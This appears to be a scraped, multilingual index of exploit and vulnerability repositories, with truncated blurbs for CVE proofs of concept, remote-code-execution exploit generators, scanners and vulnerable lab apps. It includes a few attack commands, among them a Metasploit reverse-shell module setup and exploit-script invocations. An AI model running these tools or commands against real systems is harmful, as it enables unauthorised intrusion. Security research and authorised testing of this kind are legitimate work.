CVE-2022-22947-pb-ai

CVE-2022-22947 Spring Cloud Gateway भेद्यता सत्यापन एप्लिकेशन यह CVE-2022-22947 भेद्यता को प्रदर्शित करने और सत्यापित करने के लिए एक समर्पित Spring Cloud Gateway एप्लिकेशन है। यह एप्लिकेशन Spring Cloud Gateway के एक असुरक्षित संस्करण का उपयोग करता है, जिसके माध्यम से Actuator एंडपॉइंट के जरिए...

quantum-zk-proof-poc

PoC per violare la prova a conoscenza zero di Google sulla crittanalisi quantistica Questa repository contiene le risorse per il post sul blog di Trail of Bits che descrive come abbiamo superato la prova a conoscenza zero di Google di possedere un circuito quantistico ad alta efficienza per la...

webpwn3r

webpwn3r Questo progetto non è mantenuto da anni ed è stato scritto quando stavo imparando Python, ma ancora oggi piace alla gente :D. Supporta solo python2.7 WebPwn3r - Scanner di sicurezza per applicazioni web. Di Ebrahim Hegazy - @Zigoo0 Ringraziamenti: @lnxg33k, @dia2diab @Aelhemily, @okamalo...

webpwn3r

webpwn3r This project is not maintained for years, and was written when I started learning Python, but still people likes it :D. it only supports python2.7 WebPwn3r - Web Applications Security Scanner. By Ebrahim Hegazy - @Zigoo0 Thanks: @lnxg33k, @dia2diab @Aelhemily, @okamalo Please send all yo...

cve-2024-21683-rce

cve-2024-21683-rce CVE-2024-21683 è una grave vulnerabilità di esecuzione remota di codice RCE che colpisce Confluence Server e Data Center di Atlassian. Questa vulnerabilità ha un punteggio CVSS di 8.3, rientrando nella categoria di gravità alta. Un attaccante può sfruttare questa vulnerabilità...

CVE-2026-23830-SandBreak

SandBreak Generatore di Exploit CVE-2026-23830 e Strumento Auto-Pwn SandBreak è un robusto generatore di exploit basato su Go, progettato per sfruttare la vulnerabilità di Escape di SandboxJS CVE-2026-23830. Questo strumento sfrutta il costruttore AsyncFunction non protetto nelle versioni...

agentwatch

agentwatch Un registratore di volo per le sessioni di Claude Code. Lasci che Claude Code venga eseguito sulla tua macchina — a volte per ore, a volte con auto-approvazione. agentwatch registra silenziosamente ogni azione, così puoi tornare indietro e vedere esattamente cosa è successo...

CVE-2025-46811

SUSE Manager 漏洞利用工具包 CVE-2025-46811 扫描与利用工具 🚀 功能特性 多线程漏洞扫描 通过 WebSocket 的交互式 root shell 单命令执行模式 彩色调试输出 目标批量处理 📦 安装 root@kitploit: git clone https://github.com/yourusername/suse-manager-exploit.git cd suse-manager-exploit pip install -r requirements.txt 🛠 使用方法 扫描模式 root@kitploit: python3 exploit.p...

CVE-2023-45503

CVE-2023-45503 漏洞详情 概述 在 Macrob7 Macs 框架内容管理系统（CMS）1.1.4f 及更早版本中，对用户输入的不安全处理导致了 16 个 SQL 注入漏洞。能够执行任意 SQL 查询可能导致私有数据泄露，包括用户密码哈希，以及修改其他用户凭据和权限级别的能力。影响包括权限提升和潜在的远程代码执行（RCE）。 一份列出每个受影响端点、易受攻击参数以及易受攻击函数的电子表格可在此链接找到。 CWE 分类： CWE-89：SQL 命令中特殊元素的不当中和（'SQL 注入'） 报告者： Ally Petitt 受影响产品： Macrob7 Macs CMS...

CVE-2023-46818

Metasploit 模块 Metasploit 模块 root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit 在 ISPConfig 3.2.11p1 之前版本中发现了一个问题。如果启用了 adminallowlangedit，管理员可以通过语言文件编辑器实现 PHP 代码注入。...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-by-skdevils 漏洞利用标题：Pluck CMS 4.7.16 - 远程代码执行 RCE 需认证 日期：2022年3月13日 漏洞利用作者：Ashish Koli Shikari 厂商主页：https://github.com/pluck-cms/pluck 版本：4.7.16 测试于：Ubuntu 20.04.3 LTS CVE：CVE-2022-26965...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX SQLi não autenticado → RCE Exploit de disparo único para a injeção SQL não autenticada do Endpoint Manager do FreePBX CVE-2025-57819, encadeada em execução remota de código por meio da tabela cronjobs do FreePBX. Apenas para testes de segurança autorizados / uso em CTF...

cve-2024-23113-poc

CVE-2024-23113-poc CVE-2024-23113 è una vulnerabilità scoperta nel Linux Kernel , classificata come vulnerabilità di esecuzione arbitraria di codice , che colpisce il sottosistema bpf Berkeley Packet Filter. Nello specifico, questa vulnerabilità interessa gli oggetti di tipo bpfprog dei programmi...

CVE-2026-22807_Range

🛡️ CVE-2026-22807 Simulazione: Range di Target RCE per Supply Chain AI ⚠️ Disclaimer / Avvertenza Questo progetto è destinato esclusivamente a scopi di ricerca e didattica sulla sicurezza , per dimostrare il principio degli attacchi alla supply chain durante il caricamento di modelli AI Remote Code...

CVE-2017-8046

ПРЕДУПРЕЖДЕНИЕ: Этот репозиторий является дополнением к статье в блоге VGS: How to Avoid "Using Components with Known Vulnerabilities". Он содержит приложение с известной уязвимостью а именно, CVE-2017-8046, а также описание того, как её эксплуатировать. Используйте приложение на свой страх и рис...

CVE-2021-40222

CVE-2021-40222 Приложение : Rittal CMC PU III Web management Устройства : CMC PU III 7030.000 Версия ПО : V3.11.002 Версия аппаратного обеспечения : V3.00 Тип атаки : Удаленное выполнение кода Решение : Обновите версию ПО до V3.17.10 или новее Краткое описание : Веб-приложение не очищает...

Telerik_CVE-2019-18935

Сканер TelerikUI на Python telerikrcescan.py Примеры Проверка IP на CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Проверка имени хоста на CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Проверка диапазона сети CIDR на CVE-2019-18935 $ python3 telerikrcescan.py -...

CVE-2026-24061-telnet2root

Scanner ed Exploit per la Vulnerabilità CVE-2026-24061 👨‍💻 Autore: Furkan KAYAPINAR @FurkanKAYAPINAR Panoramica Questo repository contiene uno scanner di vulnerabilità e un exploit interattivo per CVE-2026-24061. Questa vulnerabilità colpisce inetutils-telnetd e potenzialmente altre implementazioni...

CVE-2026-21962_Java_GUI_Exploit_Tool

CVE-2026-21962 Java GUI Exploit Tool Oracle WebLogic Server Proxy Plug-In RCE रिमोट कोड एक्ज़ीक्यूशन भेद्यता शोषण उपकरण का Java GUI संस्करण। प्रोजेक्ट संरचना root@kitploit: java-version/ ├── pom.xml Maven प्रोजेक्ट कॉन्फ़िगरेशन फ़ाइल ├── README.md प्रोजेक्ट दस्तावेज़ीकरण ├── run.bat Windows...

CVE-2025-59287

CVE-2025-59287 WSUS CVE-2025-59287 – Deserializzazione XML RCE Reverse Shell Un PoC mirato per sfruttare WSUS CVE-2025-59287 tramite deserializzazione XML per ottenere una reverse shell Windows. Questo script supporta solo un payload di reverse shell nessun fallback calc. Target: Windows Server c...